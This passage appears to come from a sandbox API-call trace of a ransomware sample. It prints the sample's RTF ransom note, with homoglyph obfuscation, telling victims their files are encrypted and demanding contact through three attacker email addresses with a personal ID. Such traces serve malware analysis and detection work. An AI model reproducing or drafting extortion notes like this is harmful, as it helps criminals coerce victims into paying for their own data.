\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 